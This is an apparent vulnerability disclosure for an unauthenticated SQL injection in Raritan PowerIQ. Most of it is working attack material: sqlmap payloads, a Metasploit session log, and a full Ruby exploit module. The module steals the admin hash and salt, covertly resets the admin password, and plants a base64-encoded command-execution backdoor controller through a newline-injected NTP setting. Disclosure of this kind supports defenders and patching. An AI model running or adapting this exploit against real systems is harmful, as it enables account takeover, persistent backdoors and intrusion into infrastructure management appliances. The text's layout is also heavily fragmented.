=
begin
Raritan PowerIQ suffers from an unauthenticated
SQL
injection vulnerability
within an endpoint used during initial configuration of the licensing
for
the product. This endpoint is still available after the appliance has been
fully configured.
POST
/license/records
HTTP
/
1
.
1
Host:
192
.
168
.
1
.
11
User-Agent: Mozilla/
5
.
0
(Macintosh; Intel Mac
OS
X
10
.
9
; rv:
26
.
0
)
Gecko/
20100101
Firefox/
26
.
0
Accept: text/html,application/xhtml+xml,application/xml;q=
0
.
9
,*/*;q=
0
.
8
Accept-Language: en-
US
,en;q=
0
.
5
Accept-Encoding: gzip, deflate
X
-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=
UTF
-
8
Referer: https://
192
.
168
.
1
.
11
/license
Content-Length:
15
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sort=id&dir=
ASC
Both the
'sort'
and
'dir'
parameters are vulnerable.
sqlmap identified the following injection points with a total of
1173
HTTP
(s) requests:
---
Place:
POST
Parameter: sort
Type: boolean-based blind
Title: Generic boolean-based blind -
GROUP
BY
and
ORDER
BY
clauses
Payload: sort=id,(
SELECT
(
CASE
WHEN
(
6357
=
6357
)
THEN
1
ELSE
1
/(
SELECT
0
)
END
))&dir=
ASC
Type: stacked queries
Title: PostgreSQL >
8
.
1
stacked queries
Payload: sort=id;
SELECT
PG_SLEEP
(
5
)--&dir=
ASC
Type:
AND
/
OR
time-based blind
Title: PostgreSQL >
8
.
1
time-based blind - Parameter replace
Payload: sort=(
SELECT
5480
FROM
PG_SLEEP
(
5
))&dir=
ASC
Place:
POST
Parameter: dir
Type: boolean-based blind
Title: Generic boolean-based blind -
GROUP
BY
and
ORDER
BY
clauses
Payload: sort=id&dir=
ASC
,(
SELECT
(
CASE
WHEN
(
5274
=
5274
)
THEN
1
ELSE
1
/(
SELECT
0
)
END
))
Type: stacked queries
Title: PostgreSQL >
8
.
1
stacked queries
Payload: sort=id&dir=
ASC
;
SELECT
PG_SLEEP
(
5
)--
Type:
AND
/
OR
time-based blind
Title: PostgreSQL >
8
.
1
time-based blind -
GROUP
BY
and
ORDER
BY
clauses
Payload: sort=id&dir=
ASC
,(
SELECT
(
CASE
WHEN
(
1501
=
1501
)
THEN
(
SELECT
1501
FROM
PG_SLEEP
(
5
))
ELSE
1
/(
SELECT
0
)
END
))
---
There may also be a remote command execution vulnerability available to
administrators (
or
you
if
you use the stacked injection to update the
hashes).
When saving an
NTP
server, you can inject a newline (%0a) into the request
in
order to save a malformed
'server'
stanza
in
the ntp.conf. When syncing
with
NTP
, the application passes the first
NTP
server to the
NTP
utility
via bash.
I
was
not
able to make my malformed
NTP
server available as the
first
in
the list, thus was
not
able to achieve
RCE
. There may be a way to
do
it though that
I
am unaware of.
Attached is a Metasploit
module
that
I
began writing
when
attempting to
achieve
RCE
but was never able to. This
module
will
A
) Pull out the current password hash
and
salt
for
the
'admin'
user
and
cache them.
B
) Update the admin creeds to be
'admin:Passw0rd!'
C
) Set up the malformed
NTP
server
D
) Attempt to sync with
NTP
.
Because
I
was
not
able to achieve
RCE
via that vector, this
module
does
not
actually pop a shell, so
I
am sorry about that.
Maybe some PostgreSQL
UDF
fanciness will be the key.
You may also find the
module
available here:
https://gist.github.com/brandonprry/01bcd9ec7b8a78ccfc42
Quick
module
run:
bperry
@w00den
-pickle:~/tools/msf_dev$ ./msfconsole
_
_
/ \ /\
__
_
__
/
_
/
__
| |\ / |
_____
\ \
___
_____
| | / \
_
\ \
| | \/| | |
___
\ |- -| /\ /
__
\ | -
__
/ | || | || | |- -|
|
_
| | | |
_
|
__
| |
_
/ -\
__
\ \ | | | | \
__
/| | | |
_
|/ |
____
/ \
___
\/ /\ \\
___
/ \/ \
__
| |
_
\ \
___
\
=[ metasploit v4.
9
.
0
-dev [core:
4
.
9
api:
1
.
0
] ]
+ -- --=[
1292
exploits -
702
auxiliary -
202
post ]
+ -- --=[
332
payloads -
33
encoders -
8
nops ]
msf > use exploit/linux/http/raritan_poweriq_sqli
msf exploit(raritan_poweriq_sqli) > set
RHOST
192
.
168
.
1
.
25
RHOST
=>
192
.
168
.
1
.
25
msf exploit(raritan_poweriq_sqli) > check
[*] Attempting to get banner... This could take several minutes to
fingerprint depending on network speed.
[*] Looks like the length of the banner is:
107
[+] Looks like you are vulnerable.
[+]
192
.
168
.
1
.
25
:
443
- The target is vulnerable.
msf exploit(raritan_poweriq_sqli) > exploit
[*] Started reverse handler on
192
.
168
.
1
.
31
:
4444
[*] Checking
if
vulnerable before attempting exploit.
[*] Attempting to get banner... This could take several minutes to
fingerprint depending on network speed.
[*] Looks like the length of the banner is:
107
[+] Looks like you are vulnerable.
[*] We are vulnerable. Exploiting.
[*] Caching current admin user's password hash
and
salt.
[*]
I
can set it back later
and
they will be none the wiser
[*] Grabbing current hash
[*] Old hash: 84c420e40496930e27301b10930e5966638e0b21
[*] Grabbing current salt
[*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04
[*] Resetting admin user credentials to admin:Passw0rd!
[*] Authenticating with admin:Passw0rd!
[*] Setting some stuff up
[*] Sending stager
[*] Triggering stager
[*] Exploit completed, but no session was created.
msf exploit(raritan_poweriq_sqli) >
-- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website
=
end
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"Raritan PowerIQ Unauthenticated SQL Injection"
,
'Description'
=> %q{
This
module
will exploit an unauthenticated
SQL
injection
in
order to gain
a shell on the remote victim. This was tested against PowerIQ v4.
1
.
0
.
The
'check'
command will attempt to pull the banner of the
DBMS
(
PGSQL
)
in
order to verify exploitability via boolean injections.
In order to gain remote command execution, multiple vulnerabilities are used.
I
use a
SQL
injection to gain administrative access.
I
use a newline injection to save an
NTP
server
I
shouldn't be able to save.
By saving this unsanitized
NTP
server,
I
can execute commands as
'nginx'
with
a request to the server's web application.
You can find a trial
ISO
at the following link. CentOS-based with
PGSQL
.
This is what this
module
was tested against.
http://cdn.raritan.com/download/power-iq/v4.
1
.
0
/power-iq-v4.
1
.
0
.
73
.iso
Trial license:
http://d3b2us605ptvk2.cloudfront.net/download/power-iq/RAR_PWIQ5FL_W7rYAAT_13JAN10_1206.lic
If
for
some reason these links
do
not
work,
I
"registered"
for
the trial here:
https://www1.raritan.com/poweriqdownload.html
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
],
'References'
=>
[
],
'DefaultOptions'
=>
{
'SSL'
=>
true
,
},
'Platform'
=>
'unix'
,
'Arch'
=>
ARCH_CMD
,
'Payload'
=>
{
'BadChars'
=>
"\x20"
,
'Compat'
=>
{
'RequiredCmd'
=>
'generic perl python'
,
}
},
'Targets'
=>
[
[
'Raritan PowerIQ v4.1.0'
, {}]
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
""
,
'DefaultTarget'
=>
0
))
register_options(
[
Opt::
RPORT
(
443
),
OptString.
new
(
'TARGETURI'
, [
true
,
'The URI of the vulnerable instance'
,
'/'
])
],
self
.
class
)
end
#In order to check for exploitability, I will enumerate the banner
#of the DBMS until I have it match a regular expression of /postgresql/i
#
#This isn't optimal (takes a few minutes), but it is reliable. I use
#a boolean injection to enumerate the banner a byte at a time.
def
check
#First we make a request that we know should return a 200
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> {
'X-Requested-With'
=>
'XMLHttpRequest'
},
'data'
=>
'sort=id&dir=ASC'
})
if
!res
or
res.code !=
200
return
Exploit::CheckCode::Safe
end
#Now we make a request that we know should return a 500
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> {
'X-Requested-With'
=>
'XMLHttpRequest'
},
'data'
=>
"sort=id'&dir=ASC"
})
if
!res
or
res.code !=
500
print_error(
"Probably not vulnerable."
)
return
Exploit::CheckCode::Safe
end
#If we have made it this far, we believe we are exploitable,
#but now we must prove it. Get the length of the banner before
#attempting to enumerate the banner. I assume the length
#is not greater than 999 characters.
print_status(
"Attempting to get banner... This could take several minutes to fingerprint depending on network speed."
)
length =
''
(
1
..
3
).
each
do
|l|
(
47
..
57
).
each
do
|i|
str =
"sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> {
'X-Requested-With'
=>
'XMLHttpRequest'
},
'data'
=> str
})
if
res
and
res.code ==
500
length << i.chr
break
end
end
end
if
length ==
''
return
Exploit::CheckCode::Safe
end
print_status(
"Looks like the length of the banner is: "
+ length)
#We have the length, now let's get the banner until it matches
#the regular expression /postgresql/i
banner =
''
(
1
..length.to_i).
each
do
|c|
(
32
..
126
).
each
do
|b|
str =
"sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> {
'X-Requested-With'
=>
'XMLHttpRequest'
,
},
'data'
=> str
})
if
res
and
res.code ==
500
banner << b.chr
if
c%
10
==
0
vprint_status(
"#{((c.to_f/length.to_f)*100).to_s}% done: "
+ banner)
end
if
banner =~ /postgresql/i
print_good(
"Looks like you are vulnerable."
)
vprint_good(
"Current banner: "
+ banner)
return
Exploit::CheckCode::Vulnerable
end
break
end
end
end
#If we reach here, we never matched our regex, which means we must
#not be vulnerable.
return
Exploit::CheckCode::Safe
end
def
exploit
print_status(
"Checking if vulnerable before attempting exploit."
)
if
check == Exploit::CheckCode::Vulnerable
print_status(
"We are vulnerable. Exploiting."
)
print_status(
"Caching current admin user's password hash and salt."
)
print_status(
"I can set it back later and they will be none the wiser"
)
print_status(
"Grabbing current hash"
)
old_crypted_password = get_admin_column_value(
"crypted_password"
)
print_status(
"Old hash: "
+ old_crypted_password)
print_status(
"Grabbing current salt"
)
old_salt = get_admin_column_value(
"salt"
)
print_status(
"Old salt: "
+ old_salt)
print_status(
"Resetting admin user credentials to admin:Passw0rd!"
)
headers = {
'X-Requested-With'
=>
'XMLHttpRequest'
}
salt_inj =
';UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'
hash_inj =
';UPDATE users set crypted_password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'
post = {
'sort'
=>
'id'
+ salt_inj,
'dir'
=>
'ASC'
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> headers,
'vars_post'
=> post
})
if
!res
or
res.code !=
200
fail_with(
"Server did not respond in an expected way"
)
end
post[
'sort'
] =
'id'
+ hash_inj
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> headers,
'vars_post'
=> post
})
if
!res
or
res.code !=
200
fail_with(
"Server did not respond in an expected way"
)
end
print_status(
"Authenticating with admin:Passw0rd!"
)
post = {
'login'
=>
'admin'
,
'password'
=>
'Passw0rd!'
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'login'
,
'login'
),
'method'
=>
'POST'
,
'vars_post'
=> post
})
if
!res
or
res.code !=
302
fail_with(
"Authentication failed."
)
end
cookie = res.get_cookies
print_status(
"Setting some stuff up"
)
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'time_servers.json'
),
'headers'
=> headers,
'cookie'
=> cookie
})
if
!res
or
res.code !=
200
fail_with(
"Server did not respond in an expected way."
)
end
servers =
JSON
.parse(res.body)
post = {
'_method'
=>
'_delete'
,
'hosts'
=> servers[
"servers"
].to_json
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'time_servers'
,
'destroy_batch'
),
'method'
=>
'DELETE'
,
'vars_post'
=> post,
'headers'
=> headers,
'cookie'
=> cookie
})
if
!res
or
res.code !=
200
fail_with(
"Server did not respond in an expected way."
)
end
print_status(
"Sending stager"
)
stage =
'`echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4'
stage <<
'CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu'
stage <<
'ZCAKIAoK|base64${IFS}--decode>/opt/raritan/polaris/rails/main/app/controllers/rewq_controller.rb`'
post = {
'host[server]'
=>
"www.abc.com\x0aserver "
+ stage,
'host[ip_type]'
=>
'0'
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'time_servers'
),
'method'
=>
'POST'
,
'vars_post'
=> post,
'headers'
=> headers,
'cookie'
=> cookie
})
if
!res
or
res.code !=
200
or
res.body =~ /
false
/
fail_with(
"Server did not respond in an expected way."
)
end
post = {
'_method'
=>
'_delete'
,
'hosts'
=>
'[{"server":"www.abc.com", "ip_type":0}]'
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'time_servers'
,
'destroy_batch'
),
'method'
=>
'DELETE'
,
'vars_post'
=> post,
'headers'
=> headers,
'cookie'
=> cookie
})
if
!res
or
res.code !=
200
fail_with(
"Server did not respond in an expected way."
)
end
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'application_settings'
,
'edit'
),
'cookie'
=> cookie
})
if
!res
or
res.code !=
200
fail_with(
"Server did not respond in an expected way."
)
end
res.body =~ /boxLabel:
"Enable NTP"
,\n checked: (
true
|
false
),\n listeners/m
checked =
$1
if
checked ==
"true"
post = {
'_method'
=>
'put'
,
'rails_options[time_zone]'
=>
'UTC'
,
'date_time'
=>
''
,
'rails_options[ntp_enabled]'
=>
'off'
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'time_setting'
),
'vars_post'
=> post,
'method'
=>
'POST'
,
'cookie'
=> cookie
})
if
!res
or
res.code !=
302
fail_with(
"Server did not respond in an expected way"
)
end
end
post = {
'_method'
=>
'put'
,
'rails_options[time_zone]'
=>
'UTC'
,
'date_time'
=>
''
,
'rails_options[ntp_enabled]'
=>
'on'
}
print_status(
"Triggering stager"
)
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'admin'
,
'time_setting'
),
'method'
=>
'POST'
,
'vars_post'
=> post,
'cookie'
=> cookie,
})
end
end
def
get_admin_column_value(column)
ret =
''
(
1
..
40
).
each
do
|i|
[*(
'0'
..
'9'
),*(
'a'
..
'f'
)].
each
do
|c|
inj =
"(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(#{column} AS CHARACTER(10000)),(CHR(32))) FROM users WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)) OFFSET 0 LIMIT 1)::text FROM #{i} FOR 1))>#{c.ord}) THEN 1 ELSE 1/(SELECT 0) END))"
post = {
'sort'
=>
'id,'
+ inj,
'dir'
=>
'ASC'
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'license'
,
'records'
),
'method'
=>
'POST'
,
'headers'
=> {
'X-Requested-With'
=>
'XMLHttpRequest'
},
'vars_post'
=> post
})
if
!res
fail_with(
"Server did not respond in an expected way"
)
end
if
res.code ==
500
vprint_status(
"Got character '"
+c+
"' for index "
+ i.to_s)
ret << c
break
end
end
end
return
ret
end